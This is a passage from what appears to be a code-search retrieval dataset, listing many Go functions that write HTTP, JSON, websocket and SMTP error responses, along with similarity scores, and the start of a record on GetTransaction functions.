status)\n}", "func (app *application) clientError(w http.ResponseWriter, status int) {\n\thttp.Error(w, http.StatusText(status), status)\n}", "func SendError(w http.ResponseWriter, status int, errMsg string) {\n header(w, status)\n data := ErrJson {\n Status: status,\n Error: errMsg,\n }\n json.NewEncoder(w).Encode(data)\n}", "func (h *Handler) error(w http.ResponseWriter, error string, code int) {\n\t// TODO: Return error as JSON.\n\thttp.Error(w, error, code)\n}", "func wsError(conn *websocket.Conn, serverMsg string, clientMsg string) {\n\tlog.Error(serverMsg)\n\tpayload := Message{\n\t\tError: clientMsg,\n\t}\n\tresJSON, err := json.Marshal(payload)\n\tif err != nil {\n\t\tmsg := fmt.Sprintf(\"Failed to marshal result : %v\", err)\n\t\tlog.Error(msg)\n\t\treturn\n\t}\n\terr = conn.WriteMessage(websocket.TextMessage, resJSON)\n\tif err != nil {\n\t\tlog.Error(\"Couldn't write to conn: %v\", err)\n\t}\n\treturn\n}", "func (app *application) serverError(res http.ResponseWriter, err error) {\n\ttrace := fmt.Sprintf(\"%s\\n%s\", err.Error(), debug.Stack())\n\tapp.errLog.Output(2, trace)\n\tapp.errLog.Println(trace)\n\n\thttp.Error(res, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n}", "func (a errorServer) ServeHTTP(w http.ResponseWriter, _ *http.Request) {\n\thttp.Error(w, \"random error\", http.StatusInternalServerError)\n}", "func replyErr(ctx *router.Context, err error) {\n\ts, _ := status.FromError(err)\n\tmessage := s.Message()\n\tif message != \"\" {\n\t\t// Convert the first rune to upper case.\n\t\tr, n := utf8.DecodeRuneInString(message)\n\t\tmessage = string(unicode.ToUpper(r)) + message[n:]\n\t} else {\n\t\tmessage = \"Unspecified error\" // this should not really happen\n\t}\n\n\tctx.Writer.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\tctx.Writer.WriteHeader(grpcutil.CodeStatus(s.Code()))\n\ttemplates.MustRender(ctx.Context, ctx.Writer, \"pages/error.html\", map[string]any{\n\t\t\"Message\": message,\n\t})\n}", "func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {\n\tstate := request.Request{W: w, Req: r}\n\n\tanswer := new(dns.Msg)\n\tanswer.SetRcode(r, rc)\n\tstate.SizeAndDo(answer)\n\n\tw.WriteMsg(answer)\n}", "func sendJsonError(response http.ResponseWriter, status int, message string) {\n\toutput := map[string]string{\n\t\t\"status\": \"error\",\n\t\t\"message\": message,\n\t}\n\n\tjsonBytes, err := json.Marshal(output)\n\tif err != nil {\n\t\tlog.Errorf(\"Error encoding json error response: %s\", err.Error())\n\t\thttp.Error(response, \"Interval server error\", 500)\n\t\treturn\n\t}\n\n\tresponse.Header().Set(\"Content-Type\", \"application/json\")\n\tresponse.WriteHeader(status)\n\t_, err = response.Write(jsonBytes)\n\tif err != nil {\n\t\tlog.Errorf(\"Unable to write JSON error: %s\", err)\n\t}\n}", "func writeError(w http.ResponseWriter, status int, err error) {\n\twrite(w, status, Error{Err: err.Error()})\n}", "func SendResponseErr(w http.ResponseWriter, httpStatus int, resp Response) {\n\tif resp.Code == \"0\" {\n\t\tresp.Code = \"-1\"\n\t}\n\n\tjson, _ := json.Marshal(resp)\n\n\tw.WriteHeader(httpStatus)\n\tw.Write(json)\n}", "func eprint(err error) {\n\tfmt.Println(DHT_PREFIX, err.Error())\n}", "func sendAndExitIfError(err error, response *plugins.Response) {\n\tif err != nil {\n\t\tresponse.Errors = append(response.Errors, err.Error())\n\t\tsendAndExit(response)\n\t}\n}", "func respondWithError(w http.ResponseWriter, message string) {\n\tw.WriteHeader(http.StatusBadRequest)\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Write([]byte(message))\n}", "func ShowErr() {\r\n t, _ := template.New(\"test\").Parse(tpl)\r\n // data := map[string]string{\r\n // \"AppError\": fmt.Sprintf(\"%s:%v\", BConfig.AppName, err),\r\n // \"RequestMethod\": ctx.Input.Method(),\r\n // \"RequestURL\": ctx.Input.URI(),\r\n // \"RemoteAddr\": ctx.Input.IP(),\r\n // \"Stack\": stack,\r\n // \"BeegoVersion\": VERSION,\r\n // \"GoVersion\": runtime.Version(),\r\n // }\r\n //ctx.ResponseWriter.WriteHeader(500)\r\n t.Execute(Requests.W, nil)\r\n}", "func (c *CmdHandler) sendEmbedError(chanID, body, title string) (*discordgo.Message, error) {\n\temb := &discordgo.MessageEmbed{\n\t\tColor: cErrorColor,\n\t\tDescription: body,\n\t\tTitle: title,\n\t}\n\treturn c.discordSession.ChannelMessageSendEmbed(chanID, emb)\n}", "func (c *HawkularClientError) Error() string {\n\treturn fmt.Sprintf(\"Hawkular returned status code %d, error message: %s\", c.Code, c.msg)\n}", "func send_response() {\r\n\r\n\tfmt.Printf(\"<RESPONSE>\\n<STATUS>\\n\")\r\n\tfmt.Printf(\"<status_code>%d</status_code>\\n\",status_info.status_code)\r\n\tfmt.Printf(\"<error_message>%s</error_message>\\n\",status_info.error_message)\r\n\tfmt.Printf(\"<error_details>%s</error_details>\\n\",status_info.error_details)\r\n\tfmt.Printf(\"</STATUS>\\n\")\r\n\tif response_data != \"\" {\r\n\t\tfmt.Printf(\"%s\",response_data)\r\n\t}\r\n\tfmt.Printf(\"</RESPONSE>\")\r\n\tos.Exit(0)\r\n}", "func ServerErr(w http.ResponseWriter) {\n\tif p := recover(); p != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Write([]byte(\"500 - something oops happend on server, sorry for that\"))\n\t}\n}", "func (app *application) clientError(res http.ResponseWriter, statusCode int) {\n\thttp.Error(res, http.StatusText(statusCode), statusCode)\n}", "func ExampleError() {\n\tError(\n\t\t\"Can't send data to remote server.\",\n\t\t`{*}Lorem ipsum{!} dolor sit amet, {r*}consectetur{!} adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\nUt enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor\nin reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.`,\n\t\tWRAP, BOTTOM_LINE,\n\t)\n}", "func (app *application) errorResponse(w http.ResponseWriter, r *http.Request, status int, message interface{}) {\n\tresp := clientResponse{\"error\": message}\n\t// Write the response using the helper method.\n\terr := app.writeJSON(w, status, resp)\n\tif err != nil {\n\t\tapp.logError(r, err)\n\t\tw.WriteHeader(500)\n\t}\n}", "func (w *Watcher) sendError(err error) bool {\n\tselect {\n\tcase w.Errors <- err:\n\t\treturn true\n\tcase <-w.quit:\n\t}\n\treturn false\n}", "func (c *Operation) writeErrorResponse(rw http.ResponseWriter, status int, msg string) {\n\tlogger.Errorf(msg)\n\n\trw.WriteHeader(status)\n\n\tif _, err := rw.Write([]byte(msg)); err != nil {\n\t\tlogger.Errorf(\"Unable to send error message, %s\", err)\n\t}\n}", "func (c *Conn) TempfailMsg(format string, elems ...interface{}) {\n\tswitch c.curcmd {\n\tcase HELO, EHLO:\n\t\tc.replyMulti(421, format, elems...)\n\tcase AUTH:\n\t\tc.authDone(false)\n\t\tc.replyMulti(454, format, elems...)\n\tcase MAILFROM, RCPTTO, DATA:\n\t\tc.replyMulti(450, format, elems...)\n\t}\n\tc.replied = true\n}", "func (w *filePoller) sendErr(e error, chClose <-chan struct{}) error {\n\tselect {\n\tcase w.errors <- e:\n\tcase <-chClose:\n\t\treturn fmt.Errorf(\"closed\")\n\t}\n\treturn nil\n}", "func writeErrorResponse(w http.ResponseWriter, errorMsg string) {\n\tresponse := Response{false, []common.Bike{}, errorMsg}\n\twriteResponse(w, response)\n}", "func respondError(writer http.ResponseWriter, err string) {\n\twriter.WriteHeader(http.StatusInternalServerError)\n\twriter.Header().Set(\"Content-Type\", \"application/json\")\n\tio.WriteString(writer, fmt.Sprintf(`{ \"status\": \"ERROR\", \"problem\": \"%s\"}`, err))\n}", "func errorHelper(err error, transaction *statistics.Transaction, response configs.WsMessage) {\n\tuiLog.Error(err)\n\te := err.Error()\n\tresponse.Error = &e\n\ttransaction.Complete(false)\n\terr = webservice.WebSocketSend(response)\n\tif err != nil {\n\t\tuiLog.Error(err)\n\t}\n}", "func (s *Server) echo(writer http.ResponseWriter, request *http.Request) {\n\twriter.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\twriter.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Range, Content-Disposition, Content-Type, ETag\")\n\n\t// 30% chance of failure\n\tif rand.Intn(100) < 30 {\n\t\twriter.WriteHeader(500)\n\t\twriter.Write([]byte(\"a chaos monkey broke your server\"))\n\t\ts.client.Count(\"echo.error\", 1, nil, 1)\n\t\treturn\n\t}\n\n\t// Happy path\n\twriter.WriteHeader(200)\n\trequest.Write(writer)\n\ts.client.Count(\"echo.success\", 1, nil, 1)\n}", "func (r *Responder) ServiceUnavailable() { r.write(http.StatusServiceUnavailable) }", "func (r *Router) Error(w http.ResponseWriter, err error, statusCode int) {\n\thttp.Error(w, err.Error(), statusCode)\n}", "func writeServiceError(w http.ResponseWriter) {\n\t// TODO log error\n\tw.WriteHeader(http.StatusServiceUnavailable)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tjson.NewEncoder(w).Encode(response{\"Fail connection on DB.\"})\n}", "func fail(res http.ResponseWriter, code int, message string) {\n\tres.WriteHeader(code)\n\tbody, _ := json.Marshal(ErrorResponse{message})\n\tres.Write(body)\n}", "func WriteError(w http.ResponseWriter, str string, err error) {\n\tWriteMsg(w, fmt.Sprintf(\"An Error occured - %s: %v\", str, err))\n}", "func errHandler(w http.ResponseWriter, code int, err error) {\n\tlog.Println(\"Error:\", err)\n\thttp.Error(w, http.StatusText(code), code)\n}", "func setError(w http.ResponseWriter, desc string, status int) {\n\te := map[string]interface{}{\"code\": status, \"msg\": desc}\n\tmsg, _ := json.Marshal(e)\n\tlog.DebugJson(e)\n\t//w.WriteHeader(status)\n\tw.Write(msg)\n}", "func internalServerError(w http.ResponseWriter, r *http.Request) {\r\n\tw.WriteHeader(http.StatusInternalServerError)\r\n\tw.Write([]byte(\"internal server error\"))\r\n}", "func output500Error(r render.Render, err error) {\n\tfmt.Println(err)\n\tr.JSON(500, map[string]interface{}{\"error\": err.Error()})\n}", "func (w *RESPWriter) writeError(err error) {\n\tw.buf.WriteRune(respERROR)\n\tif err != nil {\n\t\tw.buf.WriteString(err.Error())\n\t}\n\tw.buf.Write(DELIMS)\n}", "func logHttpError(str string, rw http.ResponseWriter) {\n\tlog.Printf(\"%s\", str)\n\tvar buffer strings.Builder\n\tbuffer.WriteString(\"<!DOCTYPE html><html><head><title>\")\n\tbuffer.WriteString(str)\n\tbuffer.WriteString(\"</title></head><body>\")\n\tbuffer.WriteString(str)\n\tbuffer.WriteString(\"</body></html>\")\n\trw.WriteHeader(404)\n\trw.Write([]byte(buffer.String()))\n}", "func handleErr(w http.ResponseWriter, statusCode int, msg string) {\n\tw.WriteHeader(statusCode)\n\tw.Write([]byte(msg + \"\\n\"))\n}", "func Error(w http.ResponseWriter, r *http.Request, err error) {\n\thandler, ok := err.(http.Handler)\n\tif !ok {\n\t\terrCode, ok := err.(ErrorCode)\n\t\tif !ok {\n\t\t\terrCode = errcode.Add(500, err)\n\t\t}\n\t\thandler = errorCodeHandler{\n\t\t\terr: errCode,\n\t\t}\n\t}\n\thandler.ServeHTTP(w, r)\n}", "func errWriter(w http.ResponseWriter, httpSts int, err error) {\n\tlog.Print(err)\n\thttp.Error(w, http.StatusText(httpSts), httpSts)\n}", "func TestServerReturnBadCode(t *testing.T) {\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusNotFound)\n\t\tw.Write([]byte(`{}`))\n\t}))\n\t_, err := sendMessage(testServer.URL, \"[email protected]\", \"test\")\n\tif err == nil {\n\t\tt.Fail()\n\t}\n}", "func WriteErrMsg(w http.ResponseWriter, r *http.Request, msg string, opts ...int) {\n\thttpErr := NewErrHTTP(r, msg, opts...)\n\thttpErr.write(w, r, len(opts) > 1 /*silent*/)\n\tFreeHTTPErr(httpErr)\n}", "func jsonError(w http.ResponseWriter, serverMsg string, clientMsg string) {\n\tlog.Error(serverMsg)\n\tpayload := Message{\n\t\tError: clientMsg,\n\t}\n\tresJSON, err := json.Marshal(payload)\n\tif err != nil {\n\t\tmsg := fmt.Sprintf(\"Failed to marshal result : %v\", err)\n\t\thttpError(w, msg, msg, http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tfmt.Fprintf(w, \"%s\\n\", string(resJSON))\n\treturn\n}", "func ServerErrResponse(error string, writer http.ResponseWriter) {\n\ttype servererrdata struct {\n\t\tStatusCode int\n\t\tMessage string\n\t}\n\ttemp := &servererrdata{StatusCode: 500, Message: error}\n\n\t//Send header, status code and output to writer\n\twriter.Header().Set(\"Content-Type\", \"application/json\")\n\twriter.WriteHeader(http.StatusInternalServerError)\n\tjson.NewEncoder(writer).Encode(temp)\n}", "func (h *HandleHelper) ServerErr(err error) {\n\terrs := map[string]interface{}{\n\t\t\"error\": \"the server encountered a problem and could not process your request\",\n\t\t\"detail\": err.Error(),\n\t}\n\terrResponse(http.StatusInternalServerError, errs)(h.w, h.r)\n}", "func (f *FFmpeg_Generator) ResponseError() {\n\tcache.UpdateStatus(f.UUID, f.Error.Message, false)\n}", "func (s *Basememcached_protocolListener) EnterServer_error_message(ctx *Server_error_messageContext) {\n}", "func (s *server) ServerError() error {\n\treturn s.serverError\n}", "func repportErrorHandler(w *http.ResponseWriter, err string, code int) {\n\tlog.Println(err)\n\thttp.Error(*w, err, code)\n}", "func syntaxError(text string) *smtpResponse {\n\treturn response(501, text, telnet.REQUEST)\n}", "func (w *Watcher) sendError(err error) bool {\n\tselect {\n\tcase w.Errors <- err:\n\t\treturn true\n\tcase <-w.done:\n\t\treturn false\n\t}\n}", "func (s *Basememcached_protocolListener) ExitServer_error_message(ctx *Server_error_messageContext) {}", "func errorResponse(r *http.Request, w http.ResponseWriter, code int, err error) {\n\tresp := map[string]interface{}{\n\t\t\"error\": err.Error(),\n\t}\n\n\twriteResponse(r, w, code, resp)\n}", "func ExitError(msg string, code uint64) {\n PrintString(msg);\n PrintChar(10); //Print new line ('\\n' = 10)\n Exit(code);\n}", "func Error(ctx *fiber.Ctx, status int, resp interface{}) error {\n\tctx.Status(status)\n\tswitch v := resp.(type) {\n\tcase error, string:\n\t\treturn ctx.JSON(map[string]interface{}{\n\t\t\t\"error\": fmt.Sprintf(\"%v\", v),\n\t\t\t\"status\": status,\n\t\t})\n\tdefault:\n\t\treturn ctx.JSON(resp)\n\t}\n}", "func badServerName(w http.ResponseWriter) {\n\thttp.Error(w, \"missing or invalid servername\", 403) // intentionally vague\n}", "func error_message(writer http.ResponseWriter, request *http.Request, msg string) {\n\turl := []string{\"/err?msg=\", msg}\n\thttp.Redirect(writer, request, strings.Join(url, \"\"), 302)\n}", "func serve(err error) error {\n\tif err == nil {\n\t\treturn nil\n\t}\n\n\tnerr, ok := err.(*net.OpError)\n\tif !ok {\n\t\treturn err\n\t}\n\n\t// Unfortunately there isn't an easier way to check for this, but\n\t// we want to ignore errors related to the connection closing, since\n\t// s.Close is triggered on signal.\n\tif nerr.Err.Error() != \"use of closed network connection\" {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (s *Server) echo(writer http.ResponseWriter, request *http.Request) {\r\n\twriter.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\r\n\twriter.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Range, Content-Disposition, Content-Type, ETag\")\r\n\r\n\t// 30% chance of failure\r\n\tif rand.Intn(100) < 30 {\r\n\t\ts.logger.Error(\"Unlucky Request\")\r\n\t\ts.client.Count(\"Request_failed.counter\", 1, []string{\"env:production\", \"partition:1\", \"partition:2\"}, 1)\r\n\t\twriter.WriteHeader(500)\r\n\t\twriter.Write([]byte(\"a chaos monkey broke your server\"))\r\n\t\treturn\r\n\t}\r\n\r\n\t// Happy path\r\n\ts.client.Count(\"Request_success.counter\", 1, []string{\"env:production\", \"partition:1\", \"partition:2\"}, 1)\r\n\twriter.WriteHeader(200)\r\n\trequest.Write(writer)\r\n}", "func errorResponse(w http.ResponseWriter, reason string, statusCode int) error {\n\tw.WriteHeader(statusCode)\n\terrResponse := ErrorResponse{Err: reason}\n\terr := json.NewEncoder(w).Encode(errResponse)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (r *Responder) BadGateway() { r.write(http.StatusBadGateway) }", "func errormessage(writer http.ResponseWriter, request *http.Request, msg string) {\n\turl := []string{\"/err?msg=\", msg}\n\thttp.Redirect(writer, request, strings.Join(url, \"\"), 302)\n}", "func (ths *ReceiveBackEnd) handleError(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close();\n\tths.log.Println(\"Error request arrived...\");\n\thttp.Error(w, \"No such service\", http.StatusBadGateway);\n}", "func ServerError(w http.ResponseWriter, r *http.Request, err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\tencodedErr, _ := json.Marshal(err.Error())\n\n\tw.WriteHeader(http.StatusInternalServerError)\n\tw.Write(encodedErr)\n\treturn true\n}", "func respondWithError(w http.ResponseWriter, code int, message string) {\n respondWithJSON(w, code, map[string]string{\"error\": message})\n}", "func ERROR(w http.ResponseWriter, statusCode int, err error) {\n\tif err != nil {\n\t\tJSON(w, statusCode, struct {\n\t\t\tError string `json:\"error\"`\n\t\t}{\n\t\t\tError: err.Error(),\n\t\t})\n\t} else {\n\t\tJSON(w, http.StatusBadRequest, nil)\n\t}\n}", "func RespondErr(w http.ResponseWriter, status int, data string) {\n\tw.WriteHeader(status)\n\tfmt.Fprintf(w, `{\n\t\t\"error\": %s\n\t}`, data)\n}", "func writeInsightError(w http.ResponseWriter, str string) {\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\tw.WriteHeader(http.StatusBadRequest)\n\tio.WriteString(w, str)\n}", "func writeError(w http.ResponseWriter, message string){\n\ttype Out struct {\n\t\tMessage string\n\t}\n\n\t/* Write HTML */\n\tdata := Out{message}\n\ttmpl := template.Must(template.ParseFiles(\"static/html/error.html\", \"static/html/top.html\", \"static/html/head.html\"))\n\ttmpl.ExecuteTemplate(w, \"error\", data)\n}", "func (srv *Server) ServeErr() <-chan error {\n\tc := make(chan error)\n\tgo func() {\n\t\t<-srv.serveChan\n\t\tclose(c)\n\t}()\n\treturn c\n}", "func respondInternalServerError(w http.ResponseWriter, err error) {\n\tw.WriteHeader(http.StatusInternalServerError)\n\tw.Write(makeFailResponse(fmt.Sprintf(\"internal error: %s\", err.Error())))\n}", "func (c *Conn) Tempfail() {\n\tswitch c.curcmd {\n\tcase HELO, EHLO:\n\t\tc.reply(ReplyServiceNotAvailable)\n\tcase AUTH:\n\t\tc.authDone(false)\n\t\tc.reply(ReplyAuthTmpFail)\n\tcase MAILFROM, RCPTTO, DATA:\n\t\tc.reply(ReplyMailboxNotAvailable)\n\t}\n\tc.replied = true\n}", "func writeErrorResponse(w http.ResponseWriter) {\n\tw.WriteHeader(http.StatusInternalServerError)\n\ter := errorResponse{Message: \"unable to process request\"}\n\tbs, err := json.Marshal(er)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\tif _, err := w.Write(bs); err != nil {\n\t\tlog.Error(err)\n\t}\n}", "func serveISE(w http.ResponseWriter) {\n\thttp.Error(w, \"Internal server error.\", http.StatusInternalServerError)\n}", "func TestReqRespServerErr(t *testing.T) {\n\t// Connect to NATS\n\tm := NewMessenger(testConfig)\n\tdefer m.Close()\n\n\t// Use a WaitGroup to wait for the message to arrive\n\twg := sync.WaitGroup{}\n\twg.Add(1)\n\n\t// Subscribe to the source subject with the message processing function\n\ttestSubject := \"test_subject\"\n\ttestMsgContent := []byte(\"Some text to send...\")\n\ttestRespErr := errors.New(\"Server error\")\n\tm.Response(testSubject, func(content []byte) ([]byte, error) {\n\t\tdefer wg.Done()\n\t\trequire.EqualValues(t, content, testMsgContent)\n\t\treturn nil, testRespErr\n\t})\n\n\t// Send a message\n\tresp, err := m.Request(testSubject, testMsgContent, 50*time.Millisecond)\n\tassert.Nil(t, err)\n\trequire.EqualValues(t, resp, testRespErr.Error())\n\n\t// Wait for the message to come in\n\twg.Wait()\n}", "func (l *Logs) CmdErr(ctx *multiplexer.Context, errMsg error, msg string) {\n\t// Inform the user of the issue (using a basic message string)\n\tctx.ChannelSendf(\"The bot seems to have encountered an issue: `%s`\", msg)\n\n\t// Inform the admins of the issue\n\tmsgTime, err := ctx.Message.Timestamp.Parse()\n\tif err != nil {\n\t\tmsgTime = time.Time{}\n\t}\n\n\tmsgChannel := \"unknown\"\n\tchannel, err := ctx.Session.Channel(ctx.Message.ChannelID)\n\tif err == nil {\n\t\tmsgChannel = channel.Name\n\t}\n\n\tif !l.debug {\n\t\tctx.Session.ChannelMessageSendEmbed(l.errorChannel, &discordgo.MessageEmbed{\n\t\t\tColor: 0xff0000,\n\t\t\tAuthor: &discordgo.MessageEmbedAuthor{\n\t\t\t\tIconURL: ctx.Message.Author.AvatarURL(\"\"),\n\t\t\t\tName: ctx.Message.Author.Username,\n\t\t\t},\n\t\t\tTitle: fmt.Sprintf(\"🚧 Error with command `%s%s`\", ctx.Prefix, ctx.Command),\n\t\t\tURL: util.GetMsgURL(\n\t\t\t\tctx.Message.GuildID, ctx.Message.ChannelID, ctx.Message.ID,\n\t\t\t),\n\n\t\t\tTimestamp: msgTime.Format(\"2006-01-02T15:04:05.000Z\"),\n\t\t\tFields: []*discordgo.MessageEmbedField{\n\t\t\t\t{\n\t\t\t\t\tName: \"🚶 User\",\n\t\t\t\t\tValue: ctx.Message.Author.Username,\n\t\t\t\t\tInline: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"#️⃣ Channel\",\n\t\t\t\t\tValue: fmt.Sprintf(\"#%s\", msgChannel),\n\t\t\t\t\tInline: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"🕹️ Command\",\n\t\t\t\t\tValue: ctx.Prefix + ctx.Command,\n\t\t\t\t\tInline: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"✉️ Command Message\",\n\t\t\t\t\tValue: msg,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"⚠️ Error Message\",\n\t\t\t\t\tValue: errMsg.Error(),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"🖊️ Command Text\",\n\t\t\t\t\tValue: ctx.Prefix + ctx.Command +\n\t\t\t\t\t\t\" \" + strings.Join(ctx.Arguments[:], \" \"),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t}\n\n\tl.Command.Error(errMsg)\n}", "func unexpectedError(msg string) {\n\tcolor.FgLightYellow.Println(msg + \" Please email me at [email protected] if this happens\")\n}", "func responseWithErrorTxt(w http.ResponseWriter, code int, errTxt string) {\n\tresponseWithJSON(w, code, map[string]string{\"error\": errTxt})\n}", "func (s *Server) Err(err error) {\n\ts.ErrCh <- err\n}" ]
[ "0.7002908", "0.67551494", "0.66180074", "0.6617105", "0.65756744", "0.64197224", "0.63832504", "0.6338305", "0.6310841", "0.6247931", "0.6221117", "0.6186276", "0.6127125", "0.6119383", "0.60867053", "0.60619193", "0.60507", "0.60487825", "0.60391396", "0.603416", "0.6032591", "0.60304123", "0.6021652", "0.5978967", "0.5938872", "0.588776", "0.5871979", "0.5870285", "0.5854661", "0.58473885", "0.5841193", "0.5840924", "0.57952636", "0.57807994", "0.5766339", "0.5760109", "0.5756009", "0.57493895", "0.574261", "0.5737447", "0.5735117", "0.5724435", "0.56953514", "0.5662866", "0.56541216", "0.56423515", "0.5631709", "0.562177", "0.5619702", "0.5613467", "0.5601478", "0.5588616", "0.55786693", "0.55706835", "0.5560941", "0.55605507", "0.5543127", "0.55431026", "0.5540228", "0.55400234", "0.55331415", "0.55203015", "0.5519941", "0.5516141", "0.5506378", "0.5496584", "0.54935056", "0.5482781", "0.546852", "0.5462371", "0.54583204", "0.5457028", "0.54558617", "0.54541796", "0.5454014", "0.54538804", "0.5449871", "0.5444536", "0.5443894", "0.5438543", "0.54373014", "0.5420201", "0.5408061", "0.5405499", "0.5400178", "0.539982", "0.5388691", "0.5379169", "0.53691363", "0.5360421", "0.534429", "0.53273153", "0.5320765", "0.53191626", "0.5307326", "0.53052616", "0.53004646", "0.5292183", "0.52870053", "0.5285814" ]
0.59027946
25
GetTransaction returns a transaction
func GetTransaction() gin.HandlerFunc { return func(c *gin.Context) { sugar, _ := item.New("Sugar", map[string]float64{"Kabras": 110, "Mumias": 110}, "kg(s)") purchase, message, err := transaction.New(sugar, map[string]float64{"Nzoia": 150}, 3) c.JSON( http.StatusOK, GetResponse{GetData{purchase}, message, responseerr.GetStrErr(err)}, ) } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func GetTransaction(ctx context.Context) *sql.Tx {\n\tiTx := ctx.Value(Transaction)\n\ttx, _ := iTx.(*sql.Tx) //nolint: errcheck\n\treturn tx\n}", "func GetTransaction(transactionID bson.ObjectId) (*models.Transaction, error) {\n\tsession, collection := service.Connect(collectionName)\n\tdefer session.Close()\n\n\ttransaction := models.Transaction{}\n\terr := collection.FindId(transactionID).One(&transaction)\n\n\treturn &transaction, err\n}", "func (uts *UnapprovedTransactions) GetTransaction(txID []byte) ([]byte, error) {\n\treturn uts.DB.Get(uts.getTableName(), txID)\n}", "func (svc *svc) GetTransaction(ctx context.Context, query model.TransactionQuery) (model.Transaction, error) {\n\ttransaction, err := svc.repo.GetTransaction(ctx, query)\n\tif err != nil {\n\t\treturn transaction, err\n\t}\n\n\treturn transaction, nil\n}", "func (gw *Gateway) GetTransaction(txid cipher.SHA256) (*visor.Transaction, error) {\n\tvar txn *visor.Transaction\n\tvar err error\n\n\tgw.strand(\"GetTransaction\", func() {\n\t\ttxn, err = gw.v.GetTransaction(txid)\n\t})\n\n\treturn txn, err\n}", "func (b *Backend) GetTransaction(\n\tctx context.Context,\n\tid sdk.Identifier,\n) (*sdk.Transaction, error) {\n\ttx, err := b.emulator.GetTransaction(id)\n\tif err != nil {\n\t\tswitch err.(type) {\n\t\tcase emulator.NotFoundError:\n\t\t\treturn nil, status.Error(codes.NotFound, err.Error())\n\t\tdefault:\n\t\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t\t}\n\t}\n\n\tb.logger.\n\t\tWithField(\"txID\", id.String()).\n\t\tDebugf(\"💵 GetTransaction called\")\n\n\treturn tx, nil\n}", "func GetTransaction(_db *gorm.DB, blkHash common.Hash, txHash common.Hash) *Transactions {\n\tvar tx Transactions\n\n\tif err := _db.Where(\"hash = ? and blockhash = ?\", txHash.Hex(), blkHash.Hex()).First(&tx).Error; err != nil {\n\t\treturn nil\n\t}\n\n\treturn &tx\n}", "func (c *dummyWavesMDLrpcclient) GetTransaction(txid string) (*model.Transactions, error) {\n\ttransaction, _, err := client.NewTransactionsService(c.MainNET).GetTransactionsInfoID(txid)\n\treturn transaction, err\n}", "func (tb *TransactionBuilder) GetTransaction() *types.Transaction {\n\treturn tb.tx\n}", "func (trs *Transaction) GetTransaction() stored_transactions.Transaction {\n\treturn trs.Trs\n}", "func (ps *PubsubApi) GetTransaction(hash common.Hash) *rtypes.RPCTx {\n\ttx, txEntry := ps.backend().GetTx(hash)\n\tif tx == nil {\n\t\tlog.Info(\"GetTransaction fail\", \"hash\", hash)\n\t}\n\treturn rtypes.NewRPCTx(tx, txEntry)\n}", "func GetTransaction(id int, db *gorm.DB) Transaction {\n\tvar t Transaction\n\terr := db.Table(\"transactions\").\n\t\tPreload(\"Tags\").\n\t\tFirst(&t, id).\n\t\tError\n\tif err != nil {\n\t\tt.Date = time.Now()\n\t}\n\treturn t\n}", "func (c *RPC) GetTransaction(txid string) (*webrpc.TxnResult, error) {\n\ttxn, err := c.rpcClient.GetTransactionByID(txid)\n\tif err != nil {\n\t\treturn nil, RPCError{err}\n\t}\n\n\treturn txn, nil\n}", "func (client *Client) GetTransaction(txnID string) (*Response, error) {\n\tpath := \"/transaction\"\n\turi := fmt.Sprintf(\"%s%s/%s\", client.apiBaseURL, path, txnID)\n\n\treq, err := http.NewRequest(\"GET\", uri, bytes.NewBuffer([]byte(\"\")))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := client.performRequest(req, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Handle conversion of Response from an interface{} to Transaction for the user.\n\tvar txn Transaction\n\tif err := json.Unmarshal(resp.Response.([]byte), &txn); err != nil {\n\t\treturn nil, err\n\t}\n\tresp.Response = txn\n\treturn resp, err\n}", "func (s *server) GetTransaction(ctx context.Context, req *transactionpb.GetTransactionRequest) (*transactionpb.GetTransactionResponse, error) {\n\tlog := logrus.WithFields(logrus.Fields{\n\t\t\"method\": \"GetTransaction\",\n\t\t\"id\": base64.StdEncoding.EncodeToString(req.TransactionId.Value),\n\t})\n\n\tif len(req.TransactionId.Value) != 32 && len(req.TransactionId.Value) != 64 {\n\t\treturn nil, status.Error(codes.Internal, \"invalid transaction signature\")\n\t}\n\n\tresp, err := s.loader.loadTransaction(ctx, req.TransactionId.Value)\n\tif err != nil {\n\t\tlog.WithError(err).Warn(\"failed to load transaction\")\n\t\treturn nil, status.Error(codes.Internal, \"failed to load transaction\")\n\t}\n\treturn resp, nil\n}", "func GetTx(ctx context.Context) (*firestore.Transaction, bool) {\n\ttx, ok := ctx.Value(txKey).(*firestore.Transaction)\n\treturn tx, ok\n}", "func (s *TransactionService) Get(walletID, txnID string) (*Transaction, error) 